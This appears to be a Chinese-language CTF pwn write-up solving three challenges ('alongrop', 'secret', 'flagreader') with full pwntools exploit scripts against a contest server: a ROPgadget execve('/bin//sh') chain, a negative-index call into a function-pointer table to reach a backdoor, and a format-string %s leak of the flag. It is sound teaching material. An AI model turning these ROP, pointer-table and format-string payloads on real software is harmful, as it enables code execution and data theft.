final

alongrop

ida分析

image-20250524195608074
1.打开第一眼,左边函数特多,加载特慢。静态编译的文件
2.如图框出部分,提示ROPchain。同时0x256字节的输入,显然是ROP。
3.最后,标记出偏移是0x40+0x8

gdb & ROPgadget 分析

ROPgadget --binary alongrop --ropchain
使用命令查看一下ropchain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
- Step 5 -- Build the ROP chain

#!/usr/bin/env python3
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = b''

p += pack('<Q', 0x0000000000404ed2) # pop rsi ; pop rbp ; ret
p += pack('<Q', 0x00000000004aa0c0) # @ .data
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x00000000004211eb) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x00000000004205c5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000404ed2) # pop rsi ; pop rbp ; ret
p += pack('<Q', 0x00000000004aa0c8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000044cf30) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004205c5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000402148) # pop rdi ; pop rbp ; ret
p += pack('<Q', 0x00000000004aa0c0) # @ .data
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000404ed2) # pop rsi ; pop rbp ; ret
p += pack('<Q', 0x00000000004aa0c8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000040190d) # pop rdx ; ret
p += pack('<Q', 0x00000000004aa0c8) # @ .data + 8
p += pack('<Q', 0x000000000044cf30) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046a060) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004012d3) # syscall

1.有可以直接写的ROPchain,但是应该不行,因为太长了。我们可以搜寻一下pop_rax;ret,直接将rax设置为0x3b,这样可以减少很多字节。
2.然后不要忘记输入ROPchain前有0x40+0x8的垃圾数据要填充。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
from struct import pack

mode=1
url='43.139.51.42'
port=38369
if mode==0 :
io=process("./alongrop")
else:
io=remote(url,port)
#gadgets
pop_rax=0x00000000004211eb
pop_rbx=0x000000000040190d
pop_rsi_rbp=0x0000000000404ed2
pop_rdi_rbp=0x0000000000402148
#
offset=0x40+0x8
payload=offset*b"a"
payload+=p64(0x0000000000404ed2)
payload+=p64(0x00000000004aa0c0)
payload+=p64(0x4141414141414141)
payload+=p64(0x00000000004211eb)
payload+=b'/bin//sh'
payload+=p64(0x00000000004205c5)
payload+=p64(0x0000000000404ed2)
payload+=p64(0x00000000004aa0c8)
payload+=p64(0x4141414141414141)
payload+=p64(0x000000000044cf30)
payload+=p64(0x00000000004205c5)
payload+=p64(0x0000000000402148)
payload+=p64(0x00000000004aa0c0)
payload+=p64(0x4141414141414141)
payload+=p64(0x0000000000404ed2) # pop rsi ; pop rbp ; ret
payload+=p64(0x00000000004aa0c8) # @ .data + 8
payload+=p64(0x4141414141414141) # padding
payload+=p64(0x000000000040190d) # pop rdx ; ret
payload+=p64(0x00000000004aa0c8) # @ .data + 8
payload+=p64(0x00000000004211eb)
payload+=p64(59)
payload+=p64(0x00000000004012d3)

#gdb.attach(io)
io.send(payload)
##
io.interactive()

secret

ida分析

先进行了一下小小的逆向,把一些变量和函数名字改了一下

main函数分析


1.第一眼看到输入赋值给v3,但v3是数组。v3[0]是我们的选项
2.关于后续功能的实现有猫腻,funcs[v3[0]-1]().稍微有点经验就能看出来,这是在调用funcs[]中的函数,那么funcs中到底有什么呢?跟进去看看。

funcs数组分析

image-20250524201339633
1.对ida熟悉一点,就知道这里存放的是函数的地址,分别就是menu中三个选项对应的函数。
2.所以假设前面的v3=1,那么就会执行funcs[0],也就是加密。
3.理清了程序执行功能的逻辑,再来看每个功能。这题最关键的事encrypt,我在这里就自分析这个。

encrypt分析

image-20250524201727975
1.首先会往abcd这里读入0x50字节的数据。
2.然后会对这些数据作加密处理,而加密的方式是与某个数组中的一个数,按位异或。
3.知道按位异或的作用,a^b=c ==> a=b^c,因此,加密的结果再加密,就是原值。
4.用来加密的数组就是funcs图中的s1yner
5.abcd同样位于data段,并且里funcs很近。

思路分析

1.第一个想法是通过Encrypt中的溢出,覆盖掉funcs的函数,为backdoor(题目留的后门函数,可以cat flag)。但是只有0x50字节,不够,只能刚好写满abcd那个数组。这里意识到,我们只能把后门写在abcd这个数组上。所以应该考虑有没有办法,访问到这里呢?
2.继续回去观察main函数,看到输入后会检测v3是否大于3。也就是小于等于3,都是合法的输入。试想,如果输入0,那么最后就是func[-1](),也就是会调用我们最后输入的8字节的地址。因此,我们可以输入0 和 负数,来访问abcd上的地址。只要对应上。
3.那接下来就是解决,加密的问题。很简单,将log_level设置为debug,发送正常的backdoor地址,看看返回的加密内容是什么。然后手敲一下backdoor的地址,把加密后的内容作为原文发送,那么正确的地址就会在加密后被写上去。

gdb分析

加密内容获取

image-20250524203433694
1.直接发送p64(backdoor),查看加密的内容。
2.从后往前数,因为后面紧跟的是1.Encrupt......,从0x31 往前数8个字节,就是我们要的内容,然后直接发这个就行。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level='debug'
mode=0
url='43.139.51.42'
port=38403
if mode==0 :
io=process("./secret")
else:
io=remote(url,port)

backdoor=0x4014a7
offset=0x40

key=["s","1","n","y","e","r"]
#
payload=offset*b'a'
#payload+=p64(backdoor)
payload+=b'\xc2\x66\x33\x31\x6e\x79\x65\x72'
gdb.attach(io)
io.sendlineafter(">>","1")
io.send(payload)

io.interactive()

flagreader

ida分析

main函数分析

image-20250524204127748
1.开幕雷击,直接就是一个gift给我们。显然是一个地址,可能需要这个地址泄露一些东西。
2.同时还有两个函数,一个readflag,一个vuln。直接跟进。

readflag函数分析

image-20250524204334952
image-20250524204424654
1.首先看伪代码,发现是把flag读取了0x50字节,写在了&_bss_start[6]._IO_read_end上。但是这个,到底是哪个地址呢?
2.观察汇编的代码,可以看到rsi也就读入的地址是rcx,而rcx 又是 rax+0x520,rax又是__bss_start.所以可以知道rsi=__bss_start+0x520.
3.而我们的gift就是__bss_start.

vuln函数分析

image-20250524204837954
1.非常明显的格式化字符串漏洞,结合上文。第一个想到把flag的地址写入,同时用”%s”对flag内容进行打印。
2.64位要加上6,因为有前6个寄存器。最后的偏移还是需要gdb查看。因为可以输入0x10,所以可以把__bss_start+0x520布置在下面。

gdb分析

image-20250524205449833
1.找到printf函数的栈帧,可以看到我们的输入是在偏移为0 的位置,加上6就是6.
2.把地址写在下面的话,偏移就是7。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.log_level='debug'
mode=1
url='43.139.51.42'
port=38430
if mode==0 :
io=process("./flagreader")
else:
io=remote(url,port)
#gdb.attach(io)
io.recvuntil("Here is your gift: ")
bss_start=int(io.recv(14),16)
log.success("bss-{}".format(hex(bss_start)))
flag=bss_start+1312
payload=b'%7$s'.ljust(8,b'\x41')
payload+=p64(flag)

io.send(payload)

io.interactive()